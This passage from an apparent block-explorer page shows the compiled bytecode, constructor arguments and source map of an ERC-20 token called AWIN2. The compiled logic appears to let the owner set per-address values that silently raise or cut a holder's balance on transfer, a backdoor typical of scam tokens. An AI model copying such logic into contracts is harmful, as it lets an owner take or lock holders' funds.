c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990611eac565b60405180910390fd5b610f3f8484848403610cf0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90611f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90611e4c565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a490611ecc565b60405180910390fd5b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205413156111ce57611186600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ec565b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205412156112eb576112a7600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185e90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000806008549050600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140357600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156113a65760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156114025760095490505b5b611429606461141b838761187490919063ffffffff16565b61188a90919063ffffffff16565b915060008211156115ca5761148682600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151d826005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184890919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115c19190611f6c565b60405180910390a35b61162782856115d991906121c7565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c7828561167991906121c7565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848761176591906121c7565b6040516117729190611f6c565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f7ee35ffa528a36037ec23ed4b99d479118464d605ffa951ac0441db66273b33260405160405180910390a35050565b600081836118569190612052565b905092915050565b6000818361186c91906121c7565b905092915050565b6000818361188291906120d9565b905092915050565b6000818361189891906120a8565b905092915050565b6000813590506118af8161235d565b92915050565b6000813590506118c481612374565b92915050565b6000813590506118d98161238b565b92915050565b6000602082840312156118f157600080fd5b60006118ff848285016118a0565b91505092915050565b6000806040838503121561191b57600080fd5b6000611929858286016118a0565b925050602061193a858286016118a0565b9150509250929050565b60008060006060848603121561195957600080fd5b6000611967868287016118a0565b9350506020611978868287016118a0565b9250506040611989868287016118ca565b9150509250925092565b600080604083850312156119a657600080fd5b60006119b4858286016118a0565b92505060206119c5858286016118b5565b9150509250929050565b600080604083850312156119e257600080fd5b60006119f0858286016118a0565b9250506020611a01858286016118ca565b9150509250929050565b611a14816121fb565b82525050565b611a238161220d565b82525050565b611a3281612219565b82525050565b6000611a4382611fa2565b611a4d8185611fad565b9350611a5d81856020860161225a565b611a668161234c565b840191505092915050565b6000611a7e602383611fad565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ae4602683611fad565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b4a602283611fad565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bb0601d83611fad565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000611bf0602683611fad565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c56602083611fad565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611c96602583611fad565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611cfc602483611fad565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d62602583611fad565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611dc481612243565b82525050565b611dd38161224d565b82525050565b6000602082019050611dee6000830184611a0b565b92915050565b6000602082019050611e096000830184611a1a565b92915050565b6000602082019050611e246000830184611a29565b92915050565b60006020820190508181036000830152611e448184611a38565b905092915050565b60006020820190508181036000830152611e6581611a71565b9050919050565b60006020820190508181036000830152611e8581611ad7565b9050919050565b60006020820190508181036000830152611ea581611b3d565b9050919050565b60006020820190508181036000830152611ec581611ba3565b9050919050565b60006020820190508181036000830152611ee581611be3565b9050919050565b60006020820190508181036000830152611f0581611c49565b9050919050565b60006020820190508181036000830152611f2581611c89565b9050919050565b60006020820190508181036000830152611f4581611cef565b9050919050565b60006020820190508181036000830152611f6581611d55565b9050919050565b6000602082019050611f816000830184611dbb565b92915050565b6000602082019050611f9c6000830184611dca565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611fc982612219565b9150611fd483612219565b9250817f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0383136000831215161561200f5761200e6122bf565b5b817f8000000000000000000000000000000000000000000000000000000000000000038312600083121615612047576120466122bf565b5b828201905092915050565b600061205d82612243565b915061206883612243565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561209d5761209c6122bf565b5b828201905092915050565b60006120b382612243565b91506120be83612243565b9250826120ce576120cd6122ee565b5b828204905092915050565b60006120e482612243565b91506120ef83612243565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612128576121276122bf565b5b828202905092915050565b600061213e82612219565b915061214983612219565b9250827f800000000000000000000000000000000000000000000000000000000000000001821260008412151615612184576121836122bf565b5b827f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0182136000841216156121bc576121bb6122bf565b5b828203905092915050565b60006121d282612243565b91506121dd83612243565b9250828210156121f0576121ef6122bf565b5b828203905092915050565b600061220682612223565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561227857808201518184015260208101905061225d565b83811115612287576000848401525b50505050565b600060028204905060018216806122a557607f821691505b602082108114156122b9576122b861231d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612366816121fb565b811461237157600080fd5b50565b61237d81612219565b811461238857600080fd5b50565b61239481612243565b811461239f57600080fd5b5056fea2646970667358221220d89dbec83bfa6ad39f05c520f9c125599f8c0029136e5a7ad57c2fd9511a07fc64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000054157494e3200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054157494e32000000000000000000000000000000000000000000000000000000

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000054157494e3200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054157494e32000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): AWIN2
Arg [1] : symbol_ (string): AWIN2
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 4157494e32000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4157494e32000000000000000000000000000000000000000000000000000000


Deployed ByteCode Sourcemap

12371:4645:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9827:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10382:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14679:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10123:97;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16724:289;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10031:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10584:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13933:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12516:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;776:103;;;:::i;:::-;;550:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9926:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14821:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10832:426;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16529:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;889:219;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14431:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10230:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14545:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9827:91;9872:13;9905:5;9898:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9827:91;:::o;10382:192::-;10456:4;10473:13;10489:12;:10;:12::i;:::-;10473:28;;10512:32;10521:5;10528:7;10537:6;10512:8;:32::i;:::-;10562:4;10555:11;;;10382:192;;;;:::o;14679:134::-;697:12;:10;:12::i;:::-;687:22;;:6;;;;;;;;;;;:22;;;679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14794:10:::1;;14782:1;14775:30;;;;:::i;:::-;14751:10;:21;14762:9;14751:21;;;;;;;;;;;;;;;:54;;;;14679:134:::0;:::o;10123:97::-;10175:7;10202:10;;10195:17;;10123:97;:::o;16724:289::-;16846:4;16863:15;16881:12;:10;:12::i;:::-;16863:30;;16906:38;16922:4;16928:7;16937:6;16906:15;:38::i;:::-;16955:28;16966:4;16972:2;16976:6;16955:10;:28::i;:::-;17001:4;16994:11;;;16724:289;;;;;:::o;10031:84::-;10080:5;10105:2;10098:9;;10031:84;:::o;10584:240::-;10672:4;10689:13;10705:12;:10;:12::i;:::-;10689:28;;10728:66;10737:5;10744:7;10783:10;10753:11;:18;10765:5;10753:18;;;;;;;;;;;;;;;:27;10772:7;10753:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10728:8;:66::i;:::-;10812:4;10805:11;;;10584:240;;;;:::o;13933:28::-;;;;;;;;;;;;;:::o;12516:118::-;12581:7;12608:9;:18;12618:7;12608:18;;;;;;;;;;;;;;;;12601:25;;12516:118;;;:::o;776:103::-;697:12;:10;:12::i;:::-;687:22;;:6;;;;;;;;;;;:22;;;679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;841:30:::1;868:1;841:18;:30::i;:::-;776:103::o:0;550:87::-;596:7;623:6;;;;;;;;;;;616:13;;550:87;:::o;9926:95::-;9973:13;10006:7;9999:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9926:95;:::o;14821:117::-;14883:6;14909:10;:21;14920:9;14909:21;;;;;;;;;;;;;;;;14902:28;;14821:117;;;:::o;10832:426::-;10925:4;10942:13;10958:12;:10;:12::i;:::-;10942:28;;10981:24;11008:11;:18;11020:5;11008:18;;;;;;;;;;;;;;;:27;11027:7;11008:27;;;;;;;;;;;;;;;;10981:54;;11074:15;11054:16;:35;;11046:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11159:60;11168:5;11175:7;11203:15;11184:16;:34;11159:8;:60::i;:::-;11246:4;11239:11;;;;10832:426;;;;:::o;16529:185::-;16599:4;16616:13;16632:12;:10;:12::i;:::-;16616:28;;16655:29;16666:5;16673:2;16677:6;16655:10;:29::i;:::-;16702:4;16695:11;;;16529:185;;;;:::o;889:219::-;697:12;:10;:12::i;:::-;687:22;;:6;;;;;;;;;;;:22;;;679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1016:1:::1;996:22;;:8;:22;;;;988:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1072:28;1091:8;1072:18;:28::i;:::-;889:219:::0;:::o;14431:106::-;697:12;:10;:12::i;:::-;687:22;;:6;;;;;;;;;;;:22;;;679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14521:8:::1;14505:13;;:24;;;;;;;;;;;;;;;;;;14431:106:::0;:::o;10230:142::-;10310:7;10337:11;:18;10349:5;10337:18;;;;;;;;;;;;;;;:27;10356:7;10337:27;;;;;;;;;;;;;;;;10330:34;;10230:142;;;;:::o;14545:126::-;697:12;:10;:12::i;:::-;687:22;;:6;;;;;;;;;;;:22;;;679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14657:6:::1;14632:10;:21;14643:9;14632:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;14545:126:::0;;:::o;93:98::-;146:7;173:10;166:17;;93:98;:::o;11266:380::-;11419:1;11402:19;;:5;:19;;;;11394:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11500:1;11481:21;;:7;:21;;;;11473:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11584:6;11554:11;:18;11566:5;11554:18;;;;;;;;;;;;;;;:27;11573:7;11554:27;;;;;;;;;;;;;;;:36;;;;11622:7;11606:32;;11615:5;11606:32;;;11631:6;11606:32;;;;;;:::i;:::-;;;;;;;;11266:380;;;:::o;11654:441::-;11789:24;11816:25;11826:5;11833:7;11816:9;:25::i;:::-;11789:52;;11876:17;11856:16;:37;11852:236;;11938:6;11918:16;:26;;11910:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12014:51;12023:5;12030:7;12058:6;12039:16;:25;12014:8;:51::i;:::-;11852:236;11654:441;;;;:::o;14948:1573::-;15101:1;15085:18;;:4;:18;;;;15077:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15179:1;15164:17;;:3;:17;;;;15156:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;15234:17;15254:9;:15;15264:4;15254:15;;;;;;;;;;;;;;;;15234:35;;15301:10;15288:9;:23;;15280:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;15388:1;15369:10;:16;15380:4;15369:16;;;;;;;;;;;;;;;;:20;15365:237;;;15423:46;15451:10;:16;15462:4;15451:16;;;;;;;;;;;;;;;;15423:9;:15;15433:4;15423:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;15405:9;:15;15415:4;15405:15;;;;;;;;;;;;;;;:64;;;;15365:237;;;15509:1;15490:10;:16;15501:4;15490:16;;;;;;;;;;;;;;;;:20;15486:116;;;15544:46;15572:10;:16;15583:4;15572:16;;;;;;;;;;;;;;;;15544:9;:15;15554:4;15544:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;15526:9;:15;15536:4;15526:15;;;;;;;;;;;;;;;:64;;;;15486:116;15365:237;15616:26;15657:17;15677:10;;15657:30;;15727:1;15702:27;;:13;;;;;;;;;;;:27;;;15698:240;;15757:13;;;;;;;;;;;15750:20;;:3;:20;;;15746:83;;;15803:10;;15791:22;;15746:83;15855:13;;;;;;;;;;;15847:21;;:4;:21;;;15843:84;;;15901:10;;15889:22;;15843:84;15698:240;15969:34;15999:3;15969:25;15984:9;15969:10;:14;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;15948:55;;16041:1;16020:18;:22;16016:268;;;16077:39;16097:18;16077:9;:15;16087:4;16077:15;;;;;;;;;;;;;;;;:19;;:39;;;;:::i;:::-;16059:9;:15;16069:4;16059:15;;;;;;;;;;;;;;;:57;;;;16157:47;16185:18;16157:9;:23;14328:42;16157:23;;;;;;;;;;;;;;;;:27;;:47;;;;:::i;:::-;16131:9;:23;14328:42;16131:23;;;;;;;;;;;;;;;:73;;;;14328:42;16224:48;;16233:4;16224:48;;;16253:18;16224:48;;;;;;:::i;:::-;;;;;;;;16016:268;16314:52;16347:18;16334:10;:31;;;;:::i;:::-;16314:9;:15;16324:4;16314:15;;;;;;;;;;;;;;;;:19;;:52;;;;:::i;:::-;16296:9;:15;16306:4;16296:15;;;;;;;;;;;;;;;:70;;;;16394:51;16426:18;16413:10;:31;;;;:::i;:::-;16394:9;:14;16404:3;16394:14;;;;;;;;;;;;;;;;:18;;:51;;;;:::i;:::-;16377:9;:14;16387:3;16377:14;;;;;;;;;;;;;;;:68;;;;16476:3;16461:52;;16470:4;16461:52;;;16494:18;16481:10;:31;;;;:::i;:::-;16461:52;;;;;;:::i;:::-;;;;;;;;14948:1573;;;;;;:::o;1118:188::-;1192:16;1211:6;;;;;;;;;;;1192:25;;1237:8;1228:6;;:17;;;;;;;;;;;;;;;;;;1289:8;1261:37;;1279:8;1261:37;;;;;;;;;;;;1118:188;;:::o;2373:98::-;2431:7;2462:1;2458;:5;;;;:::i;:::-;2451:12;;2373:98;;;;:::o;2481:::-;2539:7;2570:1;2566;:5;;;;:::i;:::-;2559:12;;2481:98;;;;:::o;2589:::-;2647:7;2678:1;2674;:5;;;;:::i;:::-;2667:12;;2589:98;;;;:::o;2697:::-;2755:7;2786:1;2782;:5;;;;:::i;:::-;2775:12;;2697:98;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;235:6;222:20;213:29;;251:32;277:5;251:32;:::i;:::-;203:86;;;;:::o;295:139::-;;379:6;366:20;357:29;;395:33;422:5;395:33;:::i;:::-;347:87;;;;:::o;440:262::-;;548:2;536:9;527:7;523:23;519:32;516:2;;;564:1;561;554:12;516:2;607:1;632:53;677:7;668:6;657:9;653:22;632:53;:::i;:::-;622:63;;578:117;506:196;;;;:::o;708:407::-;;;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:53;962:7;953:6;942:9;938:22;917:53;:::i;:::-;907:63;;863:117;1019:2;1045:53;1090:7;1081:6;1070:9;1066:22;1045:53;:::i;:::-;1035:63;;990:118;791:324;;;;;:::o;1121:552::-;;;;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1279:1;1276;1269:12;1231:2;1322:1;1347:53;1392:7;1383:6;1372:9;1368:22;1347:53;:::i;:::-;1337:63;;1293:117;1449:2;1475:53;1520:7;1511:6;1500:9;1496:22;1475:53;:::i;:::-;1465:63;;1420:118;1577:2;1603:53;1648:7;1639:6;1628:9;1624:22;1603:53;:::i;:::-;1593:63;;1548:118;1221:452;;;;;:::o;1679:405::-;;;1803:2;1791:9;1782:7;1778:23;1774:32;1771:2;;;1819:1;1816;1809:12;1771:2;1862:1;1887:53;1932:7;1923:6;1912:9;1908:22;1887:53;:::i;:::-;1877:63;;1833:117;1989:2;2015:52;2059:7;2050:6;2039:9;2035:22;2015:52;:::i;:::-;2005:62;;1960:117;1761:323;;;;;:::o;2090:407::-;;;2215:2;2203:9;2194:7;2190:23;2186:32;2183:2;;;2231:1;2228;2221:12;2183:2;2274:1;2299:53;2344:7;2335:6;2324:9;2320:22;2299:53;:::i;:::-;2289:63;;2245:117;2401:2;2427:53;2472:7;2463:6;2452:9;2448:22;2427:53;:::i;:::-;2417:63;;2372:118;2173:324;;;;;:::o;2503:118::-;2590:24;2608:5;2590:24;:::i;:::-;2585:3;2578:37;2568:53;;:::o;2627:109::-;2708:21;2723:5;2708:21;:::i;:::-;2703:3;2696:34;2686:50;;:::o;2742:115::-;2827:23;2844:5;2827:23;:::i;:::-;2822:3;2815:36;2805:52;;:::o;2863:364::-;;2979:39;3012:5;2979:39;:::i;:::-;3034:71;3098:6;3093:3;3034:71;:::i;:::-;3027:78;;3114:52;3159:6;3154:3;3147:4;3140:5;3136:16;3114:52;:::i;:::-;3191:29;3213:6;3191:29;:::i;:::-;3186:3;3182:39;3175:46;;2955:272;;;;;:::o;3233:367::-;;3396:67;3460:2;3455:3;3396:67;:::i;:::-;3389:74;;3493:34;3489:1;3484:3;3480:11;3473:55;3559:5;3554:2;3549:3;3545:12;3538:27;3591:2;3586:3;3582:12;3575:19;;3379:221;;;:::o;3606:370::-;;3769:67;3833:2;3828:3;3769:67;:::i;:::-;3762:74;;3866:34;3862:1;3857:3;3853:11;3846:55;3932:8;3927:2;3922:3;3918:12;3911:30;3967:2;3962:3;3958:12;3951:19;;3752:224;;;:::o;3982:366::-;;4145:67;4209:2;4204:3;4145:67;:::i;:::-;4138:74;;4242:34;4238:1;4233:3;4229:11;4222:55;4308:4;4303:2;4298:3;4294:12;4287:26;4339:2;4334:3;4330:12;4323:19;;4128:220;;;:::o;4354:327::-;;4517:67;4581:2;4576:3;4517:67;:::i;:::-;4510:74;;4614:31;4610:1;4605:3;4601:11;4594:52;4672:2;4667:3;4663:12;4656:19;;4500:181;;;:::o;4687:370::-;;4850:67;4914:2;4909:3;4850:67;:::i;:::-;4843:74;;4947:34;4943:1;4938:3;4934:11;4927:55;5013:8;5008:2;5003:3;4999:12;4992:30;5048:2;5043:3;5039:12;5032:19;;4833:224;;;:::o;5063:330::-;;5226:67;5290:2;5285:3;5226:67;:::i;:::-;5219:74;;5323:34;5319:1;5314:3;5310:11;5303:55;5384:2;5379:3;5375:12;5368:19;;5209:184;;;:::o;5399:369::-;;5562:67;5626:2;5621:3;5562:67;:::i;:::-;5555:74;;5659:34;5655:1;5650:3;5646:11;5639:55;5725:7;5720:2;5715:3;5711:12;5704:29;5759:2;5754:3;5750:12;5743:19;;5545:223;;;:::o;5774:368::-;;5937:67;6001:2;5996:3;5937:67;:::i;:::-;5930:74;;6034:34;6030:1;6025:3;6021:11;6014:55;6100:6;6095:2;6090:3;6086:12;6079:28;6133:2;6128:3;6124:12;6117:19;;5920:222;;;:::o;6148:369::-;;6311:67;6375:2;6370:3;6311:67;:::i;:::-;6304:74;;6408:34;6404:1;6399:3;6395:11;6388:55;6474:7;6469:2;6464:3;6460:12;6453:29;6508:2;6503:3;6499:12;6492:19;;6294:223;;;:::o;6523:118::-;6610:24;6628:5;6610:24;:::i;:::-;6605:3;6598:37;6588:53;;:::o;6647:112::-;6730:22;6746:5;6730:22;:::i;:::-;6725:3;6718:35;6708:51;;:::o;6765:222::-;;6896:2;6885:9;6881:18;6873:26;;6909:71;6977:1;6966:9;6962:17;6953:6;6909:71;:::i;:::-;6863:124;;;;:::o;6993:210::-;;7118:2;7107:9;7103:18;7095:26;;7131:65;7193:1;7182:9;7178:17;7169:6;7131:65;:::i;:::-;7085:118;;;;:::o;7209:218::-;;7338:2;7327:9;7323:18;7315:26;;7351:69;7417:1;7406:9;7402:17;7393:6;7351:69;:::i;:::-;7305:122;;;;:::o;7433:313::-;;7584:2;7573:9;7569:18;7561:26;;7633:9;7627:4;7623:20;7619:1;7608:9;7604:17;7597:47;7661:78;7734:4;7725:6;7661:78;:::i;:::-;7653:86;;7551:195;;;;:::o;7752:419::-;;7956:2;7945:9;7941:18;7933:26;;8005:9;7999:4;7995:20;7991:1;7980:9;7976:17;7969:47;8033:131;8159:4;8033:131;:::i;:::-;8025:139;;7923:248;;;:::o;8177:419::-;;8381:2;8370:9;8366:18;8358:26;;8430:9;8424:4;8420:20;8416:1;8405:9;8401:17;8394:47;8458:131;8584:4;8458:131;:::i;:::-;8450:139;;8348:248;;;:::o;8602:419::-;;8806:2;8795:9;8791:18;8783:26;;8855:9;8849:4;8845:20;8841:1;8830:9;8826:17;8819:47;8883:131;9009:4;8883:131;:::i;:::-;8875:139;;8773:248;;;:::o;9027:419::-;;9231:2;9220:9;9216:18;9208:26;;9280:9;9274:4;9270:20;9266:1;9255:9;9251:17;9244:47;9308:131;9434:4;9308:131;:::i;:::-;9300:139;;9198:248;;;:::o;9452:419::-;;9656:2;9645:9;9641:18;9633:26;;9705:9;9699:4;9695:20;9691:1;9680:9;9676:17;9669:47;9733:131;9859:4;9733:131;:::i;:::-;9725:139;;9623:248;;;:::o;9877:419::-;;10081:2;10070:9;10066:18;10058:26;;10130:9;10124:4;10120:20;10116:1;10105:9;10101:17;10094:47;10158:131;10284:4;10158:131;:::i;:::-;10150:139;;10048:248;;;:::o;10302:419::-;;10506:2;10495:9;10491:18;10483:26;;10555:9;10549:4;10545:20;10541:1;10530:9;10526:17;10519:47;10583:131;10709:4;10583:131;:::i;:::-;10575:139;;10473:248;;;:::o;10727:419::-;;10931:2;10920:9;10916:18;10908:26;;10980:9;10974:4;10970:20;10966:1;10955:9;10951:17;10944:47;11008:131;11134:4;11008:131;:::i;:::-;11000:139;;10898:248;;;:::o;11152:419::-;;11356:2;11345:9;11341:18;11333:26;;11405:9;11399:4;11395:20;11391:1;11380:9;11376:17;11369:47;11433:131;11559:4;11433:131;:::i;:::-;11425:139;;11323:248;;;:::o;11577:222::-;;11708:2;11697:9;11693:18;11685:26;;11721:71;11789:1;11778:9;11774:17;11765:6;11721:71;:::i;:::-;11675:124;;;;:::o;11805:214::-;;11932:2;11921:9;11917:18;11909:26;;11945:67;12009:1;11998:9;11994:17;11985:6;11945:67;:::i;:::-;11899:120;;;;:::o;12025:99::-;;12111:5;12105:12;12095:22;;12084:40;;;:::o;12130:169::-;;12248:6;12243:3;12236:19;12288:4;12283:3;12279:14;12264:29;;12226:73;;;;:::o;12305:525::-;;12363:19;12380:1;12363:19;:::i;:::-;12358:24;;12396:19;12413:1;12396:19;:::i;:::-;12391:24;;12584:1;12516:66;12512:74;12509:1;12505:82;12500:1;12497;12493:9;12486:17;12482:106;12479:2;;;12591:18;;:::i;:::-;12479:2;12771:1;12703:66;12699:74;12696:1;12692:82;12688:1;12685;12681:9;12677:98;12674:2;;;12778:18;;:::i;:::-;12674:2;12822:1;12819;12815:9;12808:16;;12348:482;;;;:::o;12836:305::-;;12895:20;12913:1;12895:20;:::i;:::-;12890:25;;12929:20;12947:1;12929:20;:::i;:::-;12924:25;;13083:1;13015:66;13011:74;13008:1;13005:81;13002:2;;;13089:18;;:::i;:::-;13002:2;13133:1;13130;13126: